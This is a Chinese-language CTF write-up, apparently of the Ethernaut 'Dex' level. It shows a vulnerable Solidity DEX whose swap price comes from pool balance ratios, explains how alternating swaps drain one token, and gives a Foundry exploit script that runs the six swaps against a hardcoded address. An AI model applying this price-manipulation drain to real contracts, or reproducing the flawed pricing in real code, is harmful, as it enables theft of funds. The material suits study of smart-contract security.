合约代码：`Dex.sol`

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "openzeppelin-contracts/contracts/token/ERC20/IERC20.sol";
import "openzeppelin-contracts/contracts/token/ERC20/ERC20.sol";
import "openzeppelin-contracts/contracts/access/Ownable.sol";

contract Dex is Ownable {
    address public token1;
    address public token2;

    constructor() {}

    function setTokens(address _token1, address _token2) public onlyOwner {
        token1 = _token1;
        token2 = _token2;
    }

    function addLiquidity(address token_address, uint256 amount) public onlyOwner {
        IERC20(token_address).transferFrom(msg.sender, address(this), amount);
    }

    function swap(address from, address to, uint256 amount) public {
        require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");
        require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
        uint256 swapAmount = getSwapPrice(from, to, amount);
        IERC20(from).transferFrom(msg.sender, address(this), amount);
        IERC20(to).approve(address(this), swapAmount);
        IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
    }// 交换函数

    function getSwapPrice(address from, address to, uint256 amount) public view returns (uint256) {
        return ((amount * IERC20(to).balanceOf(address(this))) / IERC20(from).balanceOf(address(this)));
    }// 计算公式

    function approve(address spender, uint256 amount) public {
        SwappableToken(token1).approve(msg.sender, spender, amount);
        SwappableToken(token2).approve(msg.sender, spender, amount);
    }

    function balanceOf(address token, address account) public view returns (uint256) {
        return IERC20(token).balanceOf(account);
    }
}
```

```
45
46  contract SwappableToken is ERC20 {
47      address private _dex;
48
49      constructor(address dexInstance, string memory name, string memory
    symbol, uint256 initialSupply)
50          ERC20(name, symbol)
51      {
52          _mint(msg.sender, initialSupply);
53          _dex = dexInstance;
54      }
55
56      function approve(address owner, address spender, uint256 amount) public
    {
57          require(owner != _dex, "InvalidApprover");
58          super._approve(owner, spender, amount);
59      }
60  }
```

目标是将token1或token2从合约中全部转走

前提，手中有10token1和10token2，池子里面有100个token1和token2

思路：

1. 我们可以利用池子里的token1和token2的差，反复进行以少换多
2. 里面有个公式就是：

   得到的token2=要换的token1x池子中token2/池子中token1

   通过简单计算可以得到经过5次交换最后，合约里token1剩110，token2剩45，手里有0token1和65token2，最后只需要用45token2就可以将池子里的token1全部换出来

脚本：`Dex_hack.s.sol`

```
1   // SPDX-License-Identifier: MIT
2   pragma solidity ^0.8.0;
3
4   import {Script, console} from "forge-std/Script.sol";
5   import {Dex, SwappableToken} from "../src/Dex.sol";
6
7   contract POC is Script {
8       function run() external {
9           vm.startBroadcast();
10
11          Dex dex = Dex(0x930776E28899c6665B64769f4755932ac41542a0);
12          dex.approve(address(dex), 1000);
13          address token1 = dex.token1();
14          address token2 = dex.token2();
15
16          dex.swap(token1, token2, 10);
17          dex.swap(token2, token1, 20);
18          dex.swap(token1, token2, 24);
19          dex.swap(token2, token1, 30);
20          dex.swap(token1, token2, 41);
21          dex.swap(token2, token1, 45);
22
```

```
        console.log(dex.balanceOf(token1, address(dex)));
        console.log(dex.balanceOf(token2, address(dex)));

        vm.stopBroadcast();
    }
}
```